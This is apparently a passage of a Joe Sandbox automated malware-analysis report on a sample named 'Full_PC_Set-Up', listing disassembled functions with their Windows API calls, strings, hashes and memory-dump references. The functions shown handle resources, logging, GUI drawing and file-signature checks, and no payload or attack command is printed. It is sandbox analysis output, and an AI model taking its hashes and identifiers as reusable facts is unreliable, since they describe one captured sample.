Instruction ID: 5333ebfd6ef79a98da165882edc0b5bd9f9308c9a576f923a71fb5289ed963c2
Opcode Fuzzy Hash: 405e2c75a580236267e7fc199a3df4a51f0e0a22bbe8cfe72d72c776b2730456
Instruction Fuzzy Hash: 5A2171B5D00218EBDB56DF64DC42BD973B4AB5C704F1085A9E809AB244EB34AAC8DF91

Function 002B7300 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65threadsynchronizationCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,002B72B0,$S,00000000,?), ref: 002B7392

Part of subcall function 0036A09D: __EH_prolog3_catch.LIBCMT ref: 0036A0A4
Part of subcall function 0036A09D: FindResourceW.KERNEL32(?,?,00000005,00000024,00295CF9,?,?,?), ref: 0036A0D7
Part of subcall function 0036A09D: LoadResource.KERNEL32(?,00000000), ref: 0036A0DF
Part of subcall function 0036A09D: LockResource.KERNEL32(?,00000024,00295CF9,?,?,?), ref: 0036A0F0

WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 002B73A6
GetExitCodeThread.KERNEL32(00000000,00000000), ref: 002B73B6

Part of subcall function 00298890: ~_Task_impl.LIBCPMT ref: 00298917
Part of subcall function 00298890: ~_Task_impl.LIBCPMT ref: 00298999

Strings

$S, xrefs: 002B737A, 002B737E

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Resource$Task_implThread$CodeCreateExitFindH_prolog3_catchLoadLockObjectSingleWait
String ID: $S
API String ID: 957103491-292832801
Opcode ID: 195604e2f7561b9846857e476fdd647aa36d800831e097307a9049981d6295c2
Instruction ID: 64ff4ec7579b7c4d2b799ba1d9bf52c563a3b1f1dd0bf5356801380c24a4fff0
Opcode Fuzzy Hash: 195604e2f7561b9846857e476fdd647aa36d800831e097307a9049981d6295c2
Instruction Fuzzy Hash: 082107B5409381AFC324CF18D944AABFBF8FBD9714F000A2EF89593290D774A609CB56

Function 00314280 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

__vswprintf.LIBCMT ref: 003142D7

Part of subcall function 003879D9: __vsprintf_l.LIBCMT ref: 003879E9

_strlen.LIBCMT ref: 003142FA
OutputDebugStringA.KERNEL32(?), ref: 0031432B

Strings

DefaultLog.log, xrefs: 003142A0

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: DebugOutputString__vsprintf_l__vswprintf_strlen
String ID: DefaultLog.log
API String ID: 3829340008-803351411
Opcode ID: 0a2ada5f2ffd5ff5fc5b3ba3f5310f57c18af0561c1d8e1a301596d1875b05b0
Instruction ID: 073a44fb8207389862b9a330e0c241300f848e9dc753d05b834ff8cc71658469
Opcode Fuzzy Hash: 0a2ada5f2ffd5ff5fc5b3ba3f5310f57c18af0561c1d8e1a301596d1875b05b0
Instruction Fuzzy Hash: B3216574D00208DFCB55DF60DC45B99B3B5FB58300F148595E85A9B250EB39AADCCF81

Function 002F48A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SHGetSpecialFolderLocation.SHELL32 ref: 002F48B8
_memset.LIBCMT ref: 002F48C7

Part of subcall function 002F56D0: _memset.LIBCMT ref: 002F56F3
Part of subcall function 002F56D0: SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000000), ref: 002F570F

SendMessageW.USER32(?,00001132,00000000,?), ref: 002F4931

Strings

g, xrefs: 002F48F5

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memset$FileFolderInfoLocationMessageSendSpecial
String ID: g
API String ID: 3361411627-30677878
Opcode ID: 06eb920960d36db938ca6ce5d87dad784195bd1a14e8abd51f8b5a693135611c
Instruction ID: 581f620888714404500860b5e3f97ae9871d5e160f43ef274600ade4c573113e
Opcode Fuzzy Hash: 06eb920960d36db938ca6ce5d87dad784195bd1a14e8abd51f8b5a693135611c
Instruction Fuzzy Hash: 47216AB0108301AFD304DF24C881B6BB7E8FF88324F044A1DF6999B290D7B1E908CB56

Function 004B6250 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 004B629B
_memcmp.LIBCMT ref: 004B62B5

Strings

MSWIN4.1, xrefs: 004B62A9
-FVE-FS-, xrefs: 004B628F

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memcmp
String ID: -FVE-FS-$MSWIN4.1
API String ID: 2931989736-2822226515
Opcode ID: 80232e8191c1f172e668e84c7136245f13d44ae354ac77ca16e5f8be173e7eb7
Instruction ID: 222600e65d1b071654438bdf75f2b02ee5440c2245808d48a4172c430bdb2463
Opcode Fuzzy Hash: 80232e8191c1f172e668e84c7136245f13d44ae354ac77ca16e5f8be173e7eb7
Instruction Fuzzy Hash: 1C114F74600309AFEB54DF64C885BAA77A4AF48300F1189A9FD19DB381EA79ED44CB54

Function 003D0730 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 00367C65: GetWindowLongW.USER32(?,000000F0), ref: 00367C70

SendMessageW.USER32(?,00001111,00000000,?), ref: 003D077A
SetTimer.USER32(?,00000055,00000037,00000000), ref: 003D07AA
InvalidateRect.USER32(?,00000000,00000000,?,?), ref: 003D07BB

Strings

F, xrefs: 003D0788

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: InvalidateLongMessageRectSendTimerWindow
String ID: F
API String ID: 3592701079-1304234792
Opcode ID: f9c7274d503f77f53a260acd3419e6c94936e967b87c483fc47c98d885a79630
Instruction ID: 2159a8261d27626f3ccdcec44cac73d199fc72bd44359d03e24ac5dec510ed66
Opcode Fuzzy Hash: f9c7274d503f77f53a260acd3419e6c94936e967b87c483fc47c98d885a79630
Instruction Fuzzy Hash: 94110471605701ABD365DF28DA85B17BBE4BF88B00F14892EB5898B691E770E800CF56

Function 00320830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00320852

Strings

OggS, xrefs: 00320849

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memcmp
String ID: OggS
API String ID: 2931989736-2004203516
Opcode ID: 8f30705abf8fe4eb65135043f9c524c44242033d226e4d4fdf06174eee0d758d
Instruction ID: 331823422a2b00faeda5edf17f995abd5c8f573a9bae2b6a607d2a58647646dc
Opcode Fuzzy Hash: 8f30705abf8fe4eb65135043f9c524c44242033d226e4d4fdf06174eee0d758d
Instruction Fuzzy Hash: 9D01DE70780318F7DB29AA20EC52F7B33599B20740F158125FE0A9E2C3E6B5ED1487C5

Function 0030D140 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?), ref: 0030D165
swprintf.LIBCMT ref: 0030D17F

Part of subcall function 003836E6: __vswprintf_s_l.LIBCMT ref: 003836FA

CreateDirectoryW.KERNEL32(?,00000000), ref: 0030D18F

Strings

%s_%03d, xrefs: 0030D170

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CreateDirectoryErrorLast__vswprintf_s_lswprintf
String ID: %s_%03d
API String ID: 1882196312-976196829
Opcode ID: f9eb96e1acd121578e64d05fa01897f7f240cbe9dcc52469b14fb84acd92be70
Instruction ID: 99b4d1a75a254d94c07f859d216157668e8e7ef61cbf1fd81d2d3575dcb27fe9
Opcode Fuzzy Hash: f9eb96e1acd121578e64d05fa01897f7f240cbe9dcc52469b14fb84acd92be70
Instruction Fuzzy Hash: 9101FC72A0430457D220F764DC46FBFB3D8BB88710F804869F64986182EF36A51487EB

Function 004B83C0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 004B81D0: _memset.LIBCMT ref: 004B8273

task.LIBCPMTD ref: 004B8442

Strings

|K, xrefs: 004B8410, 004B8413
vz+, xrefs: 004B83D0
|K, xrefs: 004B83DC, 004B8447

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memsettask
String ID: vz+$|K$|K
API String ID: 51605542-2549088182
Opcode ID: 53496af91c47aa1b97b4283141acc359736c78b368192db9efc7bc4d57c560fd
Instruction ID: c7497c337fa5e29cb480bb0721b2308b20a8f6a60ddcdd1a5752cfa2cfa2e00d
Opcode Fuzzy Hash: 53496af91c47aa1b97b4283141acc359736c78b368192db9efc7bc4d57c560fd
Instruction Fuzzy Hash: 70115272C0454CDBCB05DF94D851BDEBB78EF14314F14426DE411672C1EB386609CBA5

Function 0029E440 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40memorywindowCOMMON

Download Yara Rule

APIs

Part of subcall function 002AD1A0: FindResourceW.KERNEL32(?,?,PNG,5EBD7D5F,?,Tahoma,?,?,?,004CC64A,000000FF,002E20D2,diskicon.png,00000000,?), ref: 002AD1D3
Part of subcall function 002AD1A0: LoadResource.KERNEL32(?,00000000), ref: 002AD1DD
Part of subcall function 002AD1A0: LockResource.KERNEL32(00000000), ref: 002AD1E6
Part of subcall function 002AD1A0: SizeofResource.KERNEL32(?,00000000), ref: 002AD1F0
Part of subcall function 002AD1A0: GlobalAlloc.KERNEL32(00000000,00000000), ref: 002AD1FC
Part of subcall function 002AD1A0: __CxxThrowException@8.LIBCMT ref: 002AD251
Part of subcall function 002AD1A0: CreateStreamOnHGlobal.OLE32(?,00000000,?), ref: 002AD26E

GdipAlloc.GDIPLUS(00000010,LISTCTRLCHKBOX.PNG,000000F2,?,?,?,00000078,00000000,00000000,00610D58,00000000,00000000,00000000,00000000,?), ref: 0029E463
GdipCreateBitmapFromStream.GDIPLUS(?,000000F2), ref: 0029E482
GlobalFree.KERNEL32(?), ref: 0029E4B0

Strings

LISTCTRLCHKBOX.PNG, xrefs: 0029E44D

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Resource$Global$AllocCreateGdipStream$BitmapException@8FindFreeFromLoadLockSizeofThrow
String ID: LISTCTRLCHKBOX.PNG
API String ID: 1704911263-197706078
Opcode ID: f5937dcc980adf4925c9e088cc28e8260b347f090ebaafd16f4e6250536d579e
Instruction ID: a65acdb90c4affbcbfaf68f7e7a1ac083bc12839082085394331b1dc2b9bd8bb
Opcode Fuzzy Hash: f5937dcc980adf4925c9e088cc28e8260b347f090ebaafd16f4e6250536d579e
Instruction Fuzzy Hash: 47012C765147129FC711EF58C441A5BBBE4FF89B00F04892DF5899B261D770E805CBA2

Function 00314940 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000003E8), ref: 00314969
ReleaseMutex.KERNEL32(?,00000000,?), ref: 00314990

Strings

CFMappingLog::Write WaitForSingleObject GetLastError %d, xrefs: 0031499F

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MutexObjectReleaseSingleWait
String ID: CFMappingLog::Write WaitForSingleObject GetLastError %d
API String ID: 2017088797-209808399
Opcode ID: 038c158d565c42d86641eae8c312433c646ad461650fba74013cc8c759649472
Instruction ID: 2834aadbecb893888fd2f81755e9ef01339e58e794ac08f91af5b0f07c2bb412
Opcode Fuzzy Hash: 038c158d565c42d86641eae8c312433c646ad461650fba74013cc8c759649472
Instruction Fuzzy Hash: 65018175A00208EFCB44DF94D889B9EBBB9EF08300F208159F809AB341D734AE91CB65

Function 00325520 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00325532
_memcmp.LIBCMT ref: 00325549

Strings

FWS, xrefs: 00325529
CWS, xrefs: 00325540

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memcmp
String ID: CWS$FWS
API String ID: 2931989736-3664264968
Opcode ID: b200e859e7319c5d393c57485e7dfc25df497563bd75561166ca688999e1bdc4
Instruction ID: 182767512ef014e6743d4a19f21f32d90d9abcfb4cf0e42e95d95e113b4a3cf1
Opcode Fuzzy Hash: b200e859e7319c5d393c57485e7dfc25df497563bd75561166ca688999e1bdc4
Instruction Fuzzy Hash: 54F01D70740304ABDB159E65EC13F6A775EAB15740F148659BD0A9A281EAB1EF10C690

Function 0036C1DC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

GetStockObject.GDI32(?), ref: 0036C1E9
SelectObject.GDI32(?,00000000), ref: 0036C203
SelectObject.GDI32(?,00000000), ref: 0036C20E

Strings

P^)u, xrefs: 0036C1E9

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Object$Select$Stock
String ID: P^)u
API String ID: 3337941649-3896691036
Opcode ID: 9ca9ae8f12895a2a31eb6d724bb0996676ae4bd6fbe7996dcf57405833981cee
Instruction ID: 09ec25720d4139f65d3d0a1dcede94782505270c287cfefc647456829fba4b97
Opcode Fuzzy Hash: 9ca9ae8f12895a2a31eb6d724bb0996676ae4bd6fbe7996dcf57405833981cee
